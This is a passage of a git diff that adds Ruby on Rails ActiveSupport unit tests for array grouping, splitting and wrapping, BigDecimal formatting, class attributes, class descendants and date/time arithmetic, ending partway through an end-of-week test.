diff --git a/activesupport/test/core_ext/array/grouping_test.rb b/activesupport/test/core_ext/array/grouping_test.rb
new file mode 100644
index 0000000000..da9d4963d8
--- /dev/null
+++ b/activesupport/test/core_ext/array/grouping_test.rb
@@ -0,0 +1,137 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/array"
+
+class GroupingTest < ActiveSupport::TestCase
+  def setup
+    # In Ruby < 2.4, test we avoid Integer#/ (redefined by mathn)
+    Fixnum.send :private, :/ unless 0.class == Integer
+  end
+
+  def teardown
+    Fixnum.send :public, :/ unless 0.class == Integer
+  end
+
+  def test_in_groups_of_with_perfect_fit
+    groups = []
+    ("a".."i").to_a.in_groups_of(3) do |group|
+      groups << group
+    end
+
+    assert_equal [%w(a b c), %w(d e f), %w(g h i)], groups
+    assert_equal [%w(a b c), %w(d e f), %w(g h i)], ("a".."i").to_a.in_groups_of(3)
+  end
+
+  def test_in_groups_of_with_padding
+    groups = []
+    ("a".."g").to_a.in_groups_of(3) do |group|
+      groups << group
+    end
+
+    assert_equal [%w(a b c), %w(d e f), ["g", nil, nil]], groups
+  end
+
+  def test_in_groups_of_pads_with_specified_values
+    groups = []
+
+    ("a".."g").to_a.in_groups_of(3, "foo") do |group|
+      groups << group
+    end
+
+    assert_equal [%w(a b c), %w(d e f), %w(g foo foo)], groups
+  end
+
+  def test_in_groups_of_without_padding
+    groups = []
+
+    ("a".."g").to_a.in_groups_of(3, false) do |group|
+      groups << group
+    end
+
+    assert_equal [%w(a b c), %w(d e f), %w(g)], groups
+  end
+
+  def test_in_groups_returned_array_size
+    array = (1..7).to_a
+
+    1.upto(array.size + 1) do |number|
+      assert_equal number, array.in_groups(number).size
+    end
+  end
+
+  def test_in_groups_with_empty_array
+    assert_equal [[], [], []], [].in_groups(3)
+  end
+
+  def test_in_groups_with_block
+    array = (1..9).to_a
+    groups = []
+
+    array.in_groups(3) do |group|
+      groups << group
+    end
+
+    assert_equal array.in_groups(3), groups
+  end
+
+  def test_in_groups_with_perfect_fit
+    assert_equal [[1, 2, 3], [4, 5, 6], [7, 8, 9]],
+      (1..9).to_a.in_groups(3)
+  end
+
+  def test_in_groups_with_padding
+    array = (1..7).to_a
+
+    assert_equal [[1, 2, 3], [4, 5, nil], [6, 7, nil]],
+      array.in_groups(3)
+    assert_equal [[1, 2, 3], [4, 5, "foo"], [6, 7, "foo"]],
+      array.in_groups(3, "foo")
+  end
+
+  def test_in_groups_without_padding
+    assert_equal [[1, 2, 3], [4, 5], [6, 7]],
+      (1..7).to_a.in_groups(3, false)
+  end
+
+  def test_in_groups_invalid_argument
+    assert_raises(ArgumentError) { [].in_groups_of(0) }
+    assert_raises(ArgumentError) { [].in_groups_of(-1) }
+    assert_raises(ArgumentError) { [].in_groups_of(nil) }
+  end
+end
+
+class SplitTest < ActiveSupport::TestCase
+  def test_split_with_empty_array
+    assert_equal [[]], [].split(0)
+  end
+
+  def test_split_with_argument
+    a = [1, 2, 3, 4, 5]
+    assert_equal [[1, 2], [4, 5]],  a.split(3)
+    assert_equal [[1, 2, 3, 4, 5]], a.split(0)
+    assert_equal [1, 2, 3, 4, 5], a
+  end
+
+  def test_split_with_block
+    a = (1..10).to_a
+    assert_equal [[1, 2], [4, 5], [7, 8], [10]], a.split { |i| i % 3 == 0 }
+    assert_equal [1, 2, 3, 4, 5, 6, 7, 8, 9 , 10], a
+  end
+
+  def test_split_with_edge_values
+    a = [1, 2, 3, 4, 5]
+    assert_equal [[], [2, 3, 4, 5]],  a.split(1)
+    assert_equal [[1, 2, 3, 4], []],  a.split(5)
+    assert_equal [[], [2, 3, 4], []], a.split { |i| i == 1 || i == 5 }
+    assert_equal [1, 2, 3, 4, 5], a
+  end
+
+  def test_split_with_repeated_values
+    a = [1, 2, 3, 5, 5, 3, 4, 6, 2, 1, 3]
+    assert_equal [[1, 2], [5, 5], [4, 6, 2, 1], []], a.split(3)
+    assert_equal [[1, 2, 3], [], [3, 4, 6, 2, 1, 3]], a.split(5)
+    assert_equal [[1, 2], [], [], [], [4, 6, 2, 1], []], a.split { |i| i == 3 || i == 5 }
+    assert_equal [1, 2, 3, 5, 5, 3, 4, 6, 2, 1, 3], a
+  end
+end
diff --git a/activesupport/test/core_ext/array/prepend_append_test.rb b/activesupport/test/core_ext/array/prepend_append_test.rb
new file mode 100644
index 0000000000..c34acd66ad
--- /dev/null
+++ b/activesupport/test/core_ext/array/prepend_append_test.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/array"
+
+class PrependAppendTest < ActiveSupport::TestCase
+  def test_append
+    assert_equal [1, 2], [1].append(2)
+  end
+
+  def test_prepend
+    assert_equal [2, 1], [1].prepend(2)
+  end
+end
diff --git a/activesupport/test/core_ext/array/wrap_test.rb b/activesupport/test/core_ext/array/wrap_test.rb
new file mode 100644
index 0000000000..46564b4d73
--- /dev/null
+++ b/activesupport/test/core_ext/array/wrap_test.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/array"
+
+class WrapTest < ActiveSupport::TestCase
+  class FakeCollection
+    def to_ary
+      ["foo", "bar"]
+    end
+  end
+
+  class Proxy
+    def initialize(target) @target = target end
+    def method_missing(*a) @target.send(*a) end
+  end
+
+  class DoubtfulToAry
+    def to_ary
+      :not_an_array
+    end
+  end
+
+  class NilToAry
+    def to_ary
+      nil
+    end
+  end
+
+  def test_array
+    ary = %w(foo bar)
+    assert_same ary, Array.wrap(ary)
+  end
+
+  def test_nil
+    assert_equal [], Array.wrap(nil)
+  end
+
+  def test_object
+    o = Object.new
+    assert_equal [o], Array.wrap(o)
+  end
+
+  def test_string
+    assert_equal ["foo"], Array.wrap("foo")
+  end
+
+  def test_string_with_newline
+    assert_equal ["foo\nbar"], Array.wrap("foo\nbar")
+  end
+
+  def test_object_with_to_ary
+    assert_equal ["foo", "bar"], Array.wrap(FakeCollection.new)
+  end
+
+  def test_proxy_object
+    p = Proxy.new(Object.new)
+    assert_equal [p], Array.wrap(p)
+  end
+
+  def test_proxy_to_object_with_to_ary
+    p = Proxy.new(FakeCollection.new)
+    assert_equal [p], Array.wrap(p)
+  end
+
+  def test_struct
+    o = Struct.new(:foo).new(123)
+    assert_equal [o], Array.wrap(o)
+  end
+
+  def test_wrap_returns_wrapped_if_to_ary_returns_nil
+    o = NilToAry.new
+    assert_equal [o], Array.wrap(o)
+  end
+
+  def test_wrap_does_not_complain_if_to_ary_does_not_return_an_array
+    assert_equal DoubtfulToAry.new.to_ary, Array.wrap(DoubtfulToAry.new)
+  end
+end
diff --git a/activesupport/test/core_ext/bigdecimal_test.rb b/activesupport/test/core_ext/bigdecimal_test.rb
new file mode 100644
index 0000000000..66e81f1162
--- /dev/null
+++ b/activesupport/test/core_ext/bigdecimal_test.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/big_decimal"
+
+class BigDecimalTest < ActiveSupport::TestCase
+  def test_to_s
+    bd = BigDecimal.new "0.01"
+    assert_equal "0.01", bd.to_s
+    assert_equal "+0.01", bd.to_s("+F")
+    assert_equal "+0.0 1", bd.to_s("+1F")
+  end
+end
diff --git a/activesupport/test/core_ext/class/attribute_test.rb b/activesupport/test/core_ext/class/attribute_test.rb
new file mode 100644
index 0000000000..be6ad82367
--- /dev/null
+++ b/activesupport/test/core_ext/class/attribute_test.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/class/attribute"
+
+class ClassAttributeTest < ActiveSupport::TestCase
+  def setup
+    @klass = Class.new do
+      class_attribute :setting
+      class_attribute :timeout, default: 5
+    end
+
+    @sub = Class.new(@klass)
+  end
+
+  test "defaults to nil" do
+    assert_nil @klass.setting
+    assert_nil @sub.setting
+  end
+
+  test "custom default" do
+    assert_equal 5, @klass.timeout
+  end
+
+  test "inheritable" do
+    @klass.setting = 1
+    assert_equal 1, @sub.setting
+  end
+
+  test "overridable" do
+    @sub.setting = 1
+    assert_nil @klass.setting
+
+    @klass.setting = 2
+    assert_equal 1, @sub.setting
+
+    assert_equal 1, Class.new(@sub).setting
+  end
+
+  test "predicate method" do
+    assert_equal false, @klass.setting?
+    @klass.setting = 1
+    assert_equal true, @klass.setting?
+  end
+
+  test "instance reader delegates to class" do
+    assert_nil @klass.new.setting
+
+    @klass.setting = 1
+    assert_equal 1, @klass.new.setting
+  end
+
+  test "instance override" do
+    object = @klass.new
+    object.setting = 1
+    assert_nil @klass.setting
+    @klass.setting = 2
+    assert_equal 1, object.setting
+  end
+
+  test "instance predicate" do
+    object = @klass.new
+    assert_equal false, object.setting?
+    object.setting = 1
+    assert_equal true, object.setting?
+  end
+
+  test "disabling instance writer" do
+    object = Class.new { class_attribute :setting, instance_writer: false }.new
+    assert_raise(NoMethodError) { object.setting = "boom" }
+  end
+
+  test "disabling instance reader" do
+    object = Class.new { class_attribute :setting, instance_reader: false }.new
+    assert_raise(NoMethodError) { object.setting }
+    assert_raise(NoMethodError) { object.setting? }
+  end
+
+  test "disabling both instance writer and reader" do
+    object = Class.new { class_attribute :setting, instance_accessor: false }.new
+    assert_raise(NoMethodError) { object.setting }
+    assert_raise(NoMethodError) { object.setting? }
+    assert_raise(NoMethodError) { object.setting = "boom" }
+  end
+
+  test "disabling instance predicate" do
+    object = Class.new { class_attribute :setting, instance_predicate: false }.new
+    assert_raise(NoMethodError) { object.setting? }
+  end
+
+  test "works well with singleton classes" do
+    object = @klass.new
+    object.singleton_class.setting = "foo"
+    assert_equal "foo", object.setting
+  end
+
+  test "setter returns set value" do
+    val = @klass.send(:setting=, 1)
+    assert_equal 1, val
+  end
+end
diff --git a/activesupport/test/core_ext/class_test.rb b/activesupport/test/core_ext/class_test.rb
new file mode 100644
index 0000000000..9cc006fc63
--- /dev/null
+++ b/activesupport/test/core_ext/class_test.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/class"
+require "set"
+
+class ClassTest < ActiveSupport::TestCase
+  class Parent; end
+  class Foo < Parent; end
+  class Bar < Foo; end
+  class Baz < Bar; end
+
+  class A < Parent; end
+  class B < A; end
+  class C < B; end
+
+  def test_descendants
+    assert_equal [Foo, Bar, Baz, A, B, C].to_set, Parent.descendants.to_set
+    assert_equal [Bar, Baz].to_set, Foo.descendants.to_set
+    assert_equal [Baz], Bar.descendants
+    assert_equal [], Baz.descendants
+  end
+
+  def test_subclasses
+    assert_equal [Foo, A].to_set, Parent.subclasses.to_set
+    assert_equal [Bar], Foo.subclasses
+    assert_equal [Baz], Bar.subclasses
+    assert_equal [], Baz.subclasses
+  end
+
+  def test_descendants_excludes_singleton_classes
+    klass = Parent.new.singleton_class
+    refute Parent.descendants.include?(klass), "descendants should not include singleton classes"
+  end
+
+  def test_subclasses_excludes_singleton_classes
+    klass = Parent.new.singleton_class
+    refute Parent.subclasses.include?(klass), "subclasses should not include singleton classes"
+  end
+end
diff --git a/activesupport/test/core_ext/date_and_time_behavior.rb b/activesupport/test/core_ext/date_and_time_behavior.rb
new file mode 100644
index 0000000000..256353c309
--- /dev/null
+++ b/activesupport/test/core_ext/date_and_time_behavior.rb
@@ -0,0 +1,325 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module DateAndTimeBehavior
+  def test_yesterday
+    assert_equal date_time_init(2005, 2, 21, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).yesterday
+    assert_equal date_time_init(2005, 2, 28, 10, 10, 10), date_time_init(2005, 3, 2, 10, 10, 10).yesterday.yesterday
+  end
+
+  def test_prev_day
+    assert_equal date_time_init(2005, 2, 21, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_day
+    assert_equal date_time_init(2005, 2, 28, 10, 10, 10), date_time_init(2005, 3, 2, 10, 10, 10).prev_day.prev_day
+  end
+
+  def test_tomorrow
+    assert_equal date_time_init(2005, 2, 23, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).tomorrow
+    assert_equal date_time_init(2005, 3, 2, 10, 10, 10),  date_time_init(2005, 2, 28, 10, 10, 10).tomorrow.tomorrow
+  end
+
+  def test_next_day
+    assert_equal date_time_init(2005, 2, 23, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_day
+    assert_equal date_time_init(2005, 3, 2, 10, 10, 10),  date_time_init(2005, 2, 28, 10, 10, 10).next_day.next_day
+  end
+
+  def test_days_ago
+    assert_equal date_time_init(2005, 6, 4, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).days_ago(1)
+    assert_equal date_time_init(2005, 5, 31, 10, 10, 10),   date_time_init(2005, 6, 5, 10, 10, 10).days_ago(5)
+  end
+
+  def test_days_since
+    assert_equal date_time_init(2005, 6, 6, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).days_since(1)
+    assert_equal date_time_init(2005, 1, 1, 10, 10, 10), date_time_init(2004, 12, 31, 10, 10, 10).days_since(1)
+  end
+
+  def test_weeks_ago
+    assert_equal date_time_init(2005, 5, 29, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).weeks_ago(1)
+    assert_equal date_time_init(2005, 5, 1, 10, 10, 10),   date_time_init(2005, 6, 5, 10, 10, 10).weeks_ago(5)
+    assert_equal date_time_init(2005, 4, 24, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).weeks_ago(6)
+    assert_equal date_time_init(2005, 2, 27, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).weeks_ago(14)
+    assert_equal date_time_init(2004, 12, 25, 10, 10, 10), date_time_init(2005, 1, 1, 10, 10, 10).weeks_ago(1)
+  end
+
+  def test_weeks_since
+    assert_equal date_time_init(2005, 7, 14, 10, 10, 10), date_time_init(2005, 7, 7, 10, 10, 10).weeks_since(1)
+    assert_equal date_time_init(2005, 7, 14, 10, 10, 10), date_time_init(2005, 7, 7, 10, 10, 10).weeks_since(1)
+    assert_equal date_time_init(2005, 7, 4, 10, 10, 10),  date_time_init(2005, 6, 27, 10, 10, 10).weeks_since(1)
+    assert_equal date_time_init(2005, 1, 4, 10, 10, 10),  date_time_init(2004, 12, 28, 10, 10, 10).weeks_since(1)
+  end
+
+  def test_months_ago
+    assert_equal date_time_init(2005, 5, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).months_ago(1)
+    assert_equal date_time_init(2004, 11, 5, 10, 10, 10), date_time_init(2005, 6, 5, 10, 10, 10).months_ago(7)
+    assert_equal date_time_init(2004, 12, 5, 10, 10, 10), date_time_init(2005, 6, 5, 10, 10, 10).months_ago(6)
+    assert_equal date_time_init(2004, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).months_ago(12)
+    assert_equal date_time_init(2003, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).months_ago(24)
+  end
+
+  def test_months_since
+    assert_equal date_time_init(2005, 7, 5, 10, 10, 10),   date_time_init(2005, 6, 5, 10, 10, 10).months_since(1)
+    assert_equal date_time_init(2006, 1, 5, 10, 10, 10),   date_time_init(2005, 12, 5, 10, 10, 10).months_since(1)
+    assert_equal date_time_init(2005, 12, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).months_since(6)
+    assert_equal date_time_init(2006, 6, 5, 10, 10, 10),   date_time_init(2005, 12, 5, 10, 10, 10).months_since(6)
+    assert_equal date_time_init(2006, 1, 5, 10, 10, 10),   date_time_init(2005, 6, 5, 10, 10, 10).months_since(7)
+    assert_equal date_time_init(2006, 6, 5, 10, 10, 10),   date_time_init(2005, 6, 5, 10, 10, 10).months_since(12)
+    assert_equal date_time_init(2007, 6, 5, 10, 10, 10),   date_time_init(2005, 6, 5, 10, 10, 10).months_since(24)
+    assert_equal date_time_init(2005, 4, 30, 10, 10, 10),  date_time_init(2005, 3, 31, 10, 10, 10).months_since(1)
+    assert_equal date_time_init(2005, 2, 28, 10, 10, 10),  date_time_init(2005, 1, 29, 10, 10, 10).months_since(1)
+    assert_equal date_time_init(2005, 2, 28, 10, 10, 10),  date_time_init(2005, 1, 30, 10, 10, 10).months_since(1)
+    assert_equal date_time_init(2005, 2, 28, 10, 10, 10),  date_time_init(2005, 1, 31, 10, 10, 10).months_since(1)
+  end
+
+  def test_years_ago
+    assert_equal date_time_init(2004, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).years_ago(1)
+    assert_equal date_time_init(1998, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).years_ago(7)
+    assert_equal date_time_init(2003, 2, 28, 10, 10, 10), date_time_init(2004, 2, 29, 10, 10, 10).years_ago(1) # 1 year ago from leap day
+  end
+
+  def test_years_since
+    assert_equal date_time_init(2006, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).years_since(1)
+    assert_equal date_time_init(2012, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).years_since(7)
+    assert_equal date_time_init(2005, 2, 28, 10, 10, 10), date_time_init(2004, 2, 29, 10, 10, 10).years_since(1) # 1 year since leap day
+    assert_equal date_time_init(2182, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).years_since(177)
+  end
+
+  def test_beginning_of_month
+    assert_equal date_time_init(2005, 2, 1, 0, 0, 0), date_time_init(2005, 2, 22, 10, 10, 10).beginning_of_month
+  end
+
+  def test_beginning_of_quarter
+    assert_equal date_time_init(2005, 1, 1, 0, 0, 0),  date_time_init(2005, 2, 15, 10, 10, 10).beginning_of_quarter
+    assert_equal date_time_init(2005, 1, 1, 0, 0, 0),  date_time_init(2005, 1, 1, 0, 0, 0).beginning_of_quarter
+    assert_equal date_time_init(2005, 10, 1, 0, 0, 0), date_time_init(2005, 12, 31, 10, 10, 10).beginning_of_quarter
+    assert_equal date_time_init(2005, 4, 1, 0, 0, 0),  date_time_init(2005, 6, 30, 23, 59, 59).beginning_of_quarter
+  end
+
+  def test_end_of_quarter
+    assert_equal date_time_init(2007, 3, 31, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 2, 15, 10, 10, 10).end_of_quarter
+    assert_equal date_time_init(2007, 3, 31, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 3, 31, 0, 0, 0).end_of_quarter
+    assert_equal date_time_init(2007, 12, 31, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 12, 21, 10, 10, 10).end_of_quarter
+    assert_equal date_time_init(2007, 6, 30, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 4, 1, 0, 0, 0).end_of_quarter
+    assert_equal date_time_init(2008, 6, 30, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2008, 5, 31, 0, 0, 0).end_of_quarter
+  end
+
+  def test_beginning_of_year
+    assert_equal date_time_init(2005, 1, 1, 0, 0, 0), date_time_init(2005, 2, 22, 10, 10, 10).beginning_of_year
+  end
+
+  def test_next_week
+    #   M   |   T  | W | T | F | S | S #   M   | T |   W   | T |  F  | S | S #
+    #       | 22/2 |   |   |   |   |   # 28/2  |   |       |   |     |   |   # monday in next week `next_week`
+    #       | 22/2 |   |   |   |   |   #       |   |       |   | 4/3 |   |   # friday in next week `next_week(:friday)`
+    # 23/10 |      |   |   |   |   |   # 30/10 |   |       |   |     |   |   # monday in next week `next_week`
+    # 23/10 |      |   |   |   |   |   #       |   |  1/11 |   |     |   |   # wednesday in next week `next_week(:wednesday)`
+    assert_equal date_time_init(2005, 2, 28, 0, 0, 0),  date_time_init(2005, 2, 22, 15, 15, 10).next_week
+    assert_equal date_time_init(2005, 3, 4, 0, 0, 0),   date_time_init(2005, 2, 22, 15, 15, 10).next_week(:friday)
+    assert_equal date_time_init(2006, 10, 30, 0, 0, 0), date_time_init(2006, 10, 23, 0, 0, 0).next_week
+    assert_equal date_time_init(2006, 11, 1, 0, 0, 0),  date_time_init(2006, 10, 23, 0, 0, 0).next_week(:wednesday)
+  end
+
+  def test_next_week_with_default_beginning_of_week_set
+    with_bw_default(:tuesday) do
+      assert_equal Time.local(2012, 3, 28), Time.local(2012, 3, 21).next_week(:wednesday)
+      assert_equal Time.local(2012, 3, 31), Time.local(2012, 3, 21).next_week(:saturday)
+      assert_equal Time.local(2012, 3, 27), Time.local(2012, 3, 21).next_week(:tuesday)
+      assert_equal Time.local(2012, 4, 02), Time.local(2012, 3, 21).next_week(:monday)
+    end
+  end
+
+  def test_next_week_at_same_time
+    assert_equal date_time_init(2005, 2, 28, 15, 15, 10), date_time_init(2005, 2, 22, 15, 15, 10).next_week(:monday, same_time: true)
+    assert_equal date_time_init(2005, 2, 28, 15, 15, 10, 999999), date_time_init(2005, 2, 22, 15, 15, 10, 999999).next_week(:monday, same_time: true)
+    assert_equal date_time_init(2005, 2, 28, 15, 15, 10, Rational(999999999, 1000)), date_time_init(2005, 2, 22, 15, 15, 10, Rational(999999999, 1000)).next_week(:monday, same_time: true)
+    assert_equal date_time_init(2005, 3, 4, 15, 15, 10),   date_time_init(2005, 2, 22, 15, 15, 10).next_week(:friday, same_time: true)
+    assert_equal date_time_init(2006, 10, 30, 0, 0, 0), date_time_init(2006, 10, 23, 0, 0, 0).next_week(:monday, same_time: true)
+    assert_equal date_time_init(2006, 11, 1, 0, 0, 0),  date_time_init(2006, 10, 23, 0, 0, 0).next_week(:wednesday, same_time: true)
+  end
+
+  def test_next_weekday_on_wednesday
+    assert_equal date_time_init(2015, 1, 8, 0, 0, 0), date_time_init(2015, 1, 7, 0, 0, 0).next_weekday
+    assert_equal date_time_init(2015, 1, 8, 15, 15, 10), date_time_init(2015, 1, 7, 15, 15, 10).next_weekday
+  end
+
+  def test_next_weekday_on_friday
+    assert_equal date_time_init(2015, 1, 5, 0, 0, 0), date_time_init(2015, 1, 2, 0, 0, 0).next_weekday
+    assert_equal date_time_init(2015, 1, 5, 15, 15, 10), date_time_init(2015, 1, 2, 15, 15, 10).next_weekday
+  end
+
+  def test_next_weekday_on_saturday
+    assert_equal date_time_init(2015, 1, 5, 0, 0, 0), date_time_init(2015, 1, 3, 0, 0, 0).next_weekday
+    assert_equal date_time_init(2015, 1, 5, 15, 15, 10), date_time_init(2015, 1, 3, 15, 15, 10).next_weekday
+  end
+
+  def test_next_month_on_31st
+    assert_equal date_time_init(2005, 9, 30, 15, 15, 10), date_time_init(2005, 8, 31, 15, 15, 10).next_month
+  end
+
+  def test_next_quarter_on_31st
+    assert_equal date_time_init(2005, 11, 30, 15, 15, 10), date_time_init(2005, 8, 31, 15, 15, 10).next_quarter
+  end
+
+  def test_next_year
+    assert_equal date_time_init(2006, 6, 5, 10, 10, 10), date_time_init(2005, 6, 5, 10, 10, 10).next_year
+  end
+
+  def test_prev_week
+    assert_equal date_time_init(2005, 2, 21, 0, 0, 0),  date_time_init(2005, 3, 1, 15, 15, 10).prev_week
+    assert_equal date_time_init(2005, 2, 22, 0, 0, 0),  date_time_init(2005, 3, 1, 15, 15, 10).prev_week(:tuesday)
+    assert_equal date_time_init(2005, 2, 25, 0, 0, 0),  date_time_init(2005, 3, 1, 15, 15, 10).prev_week(:friday)
+    assert_equal date_time_init(2006, 10, 30, 0, 0, 0), date_time_init(2006, 11, 6, 0, 0, 0).prev_week
+    assert_equal date_time_init(2006, 11, 15, 0, 0, 0), date_time_init(2006, 11, 23, 0, 0, 0).prev_week(:wednesday)
+  end
+
+  def test_prev_week_with_default_beginning_of_week
+    with_bw_default(:tuesday) do
+      assert_equal Time.local(2012, 3, 14), Time.local(2012, 3, 21).prev_week(:wednesday)
+      assert_equal Time.local(2012, 3, 17), Time.local(2012, 3, 21).prev_week(:saturday)
+      assert_equal Time.local(2012, 3, 13), Time.local(2012, 3, 21).prev_week(:tuesday)
+      assert_equal Time.local(2012, 3, 19), Time.local(2012, 3, 21).prev_week(:monday)
+    end
+  end
+
+  def test_prev_week_at_same_time
+    assert_equal date_time_init(2005, 2, 21, 15, 15, 10),  date_time_init(2005, 3, 1, 15, 15, 10).prev_week(:monday, same_time: true)
+    assert_equal date_time_init(2005, 2, 22, 15, 15, 10),  date_time_init(2005, 3, 1, 15, 15, 10).prev_week(:tuesday, same_time: true)
+    assert_equal date_time_init(2005, 2, 25, 15, 15, 10),  date_time_init(2005, 3, 1, 15, 15, 10).prev_week(:friday, same_time: true)
+    assert_equal date_time_init(2006, 10, 30, 0, 0, 0), date_time_init(2006, 11, 6, 0, 0, 0).prev_week(:monday, same_time: true)
+    assert_equal date_time_init(2006, 11, 15, 0, 0, 0), date_time_init(2006, 11, 23, 0, 0, 0).prev_week(:wednesday, same_time: true)
+  end
+
+  def test_prev_weekday_on_wednesday
+    assert_equal date_time_init(2015, 1, 6, 0, 0, 0), date_time_init(2015, 1, 7, 0, 0, 0).prev_weekday
+    assert_equal date_time_init(2015, 1, 6, 15, 15, 10), date_time_init(2015, 1, 7, 15, 15, 10).prev_weekday
+  end
+
+  def test_prev_weekday_on_monday
+    assert_equal date_time_init(2015, 1, 2, 0, 0, 0), date_time_init(2015, 1, 5, 0, 0, 0).prev_weekday
+    assert_equal date_time_init(2015, 1, 2, 15, 15, 10), date_time_init(2015, 1, 5, 15, 15, 10).prev_weekday
+  end
+
+  def test_prev_weekday_on_sunday
+    assert_equal date_time_init(2015, 1, 2, 0, 0, 0), date_time_init(2015, 1, 4, 0, 0, 0).prev_weekday
+    assert_equal date_time_init(2015, 1, 2, 15, 15, 10), date_time_init(2015, 1, 4, 15, 15, 10).prev_weekday
+  end
+
+  def test_prev_month_on_31st
+    assert_equal date_time_init(2004, 2, 29, 10, 10, 10), date_time_init(2004, 3, 31, 10, 10, 10).prev_month
+  end
+
+  def test_prev_quarter_on_31st
+    assert_equal date_time_init(2004, 2, 29, 10, 10, 10), date_time_init(2004, 5, 31, 10, 10, 10).prev_quarter
+  end
+
+  def test_prev_year
+    assert_equal date_time_init(2004, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).prev_year
+  end
+
+  def test_days_to_week_start
+    assert_equal 0, date_time_init(2011, 11, 01, 0, 0, 0).days_to_week_start(:tuesday)
+    assert_equal 1, date_time_init(2011, 11, 02, 0, 0, 0).days_to_week_start(:tuesday)
+    assert_equal 2, date_time_init(2011, 11, 03, 0, 0, 0).days_to_week_start(:tuesday)
+    assert_equal 3, date_time_init(2011, 11, 04, 0, 0, 0).days_to_week_start(:tuesday)
+    assert_equal 4, date_time_init(2011, 11, 05, 0, 0, 0).days_to_week_start(:tuesday)
+    assert_equal 5, date_time_init(2011, 11, 06, 0, 0, 0).days_to_week_start(:tuesday)
+    assert_equal 6, date_time_init(2011, 11, 07, 0, 0, 0).days_to_week_start(:tuesday)
+
+    assert_equal 3, date_time_init(2011, 11, 03, 0, 0, 0).days_to_week_start(:monday)
+    assert_equal 3, date_time_init(2011, 11, 04, 0, 0, 0).days_to_week_start(:tuesday)
+    assert_equal 3, date_time_init(2011, 11, 05, 0, 0, 0).days_to_week_start(:wednesday)
+    assert_equal 3, date_time_init(2011, 11, 06, 0, 0, 0).days_to_week_start(:thursday)
+    assert_equal 3, date_time_init(2011, 11, 07, 0, 0, 0).days_to_week_start(:friday)
+    assert_equal 3, date_time_init(2011, 11, 8, 0, 0, 0).days_to_week_start(:saturday)
+    assert_equal 3, date_time_init(2011, 11, 9, 0, 0, 0).days_to_week_start(:sunday)
+  end
+
+  def test_days_to_week_start_with_default_set
+    with_bw_default(:friday) do
+      assert_equal 6, Time.local(2012, 03, 8, 0, 0, 0).days_to_week_start
+      assert_equal 5, Time.local(2012, 03, 7, 0, 0, 0).days_to_week_start
+      assert_equal 4, Time.local(2012, 03, 6, 0, 0, 0).days_to_week_start
+      assert_equal 3, Time.local(2012, 03, 5, 0, 0, 0).days_to_week_start
+      assert_equal 2, Time.local(2012, 03, 4, 0, 0, 0).days_to_week_start
+      assert_equal 1, Time.local(2012, 03, 3, 0, 0, 0).days_to_week_start
+      assert_equal 0, Time.local(2012, 03, 2, 0, 0, 0).days_to_week_start
+    end
+  end
+
+  def test_beginning_of_week
+    assert_equal date_time_init(2005, 1, 31, 0, 0, 0),  date_time_init(2005, 2, 4, 10, 10, 10).beginning_of_week
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 11, 28, 0, 0, 0).beginning_of_week #monday
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 11, 29, 0, 0, 0).beginning_of_week #tuesday
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 11, 30, 0, 0, 0).beginning_of_week #wednesday
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 12, 01, 0, 0, 0).beginning_of_week #thursday
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 12, 02, 0, 0, 0).beginning_of_week #friday
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 12, 03, 0, 0, 0).beginning_of_week #saturday
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 12, 04, 0, 0, 0).beginning_of_week #sunday
+  end
+
+  def test_end_of_week
+    assert_equal date_time_init(2008, 1, 6, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 12, 31, 10, 10, 10).end_of_week
+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 27, 0, 0, 0).end_of_week #monday
+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 28, 0, 0, 0).end_of_week #tuesday
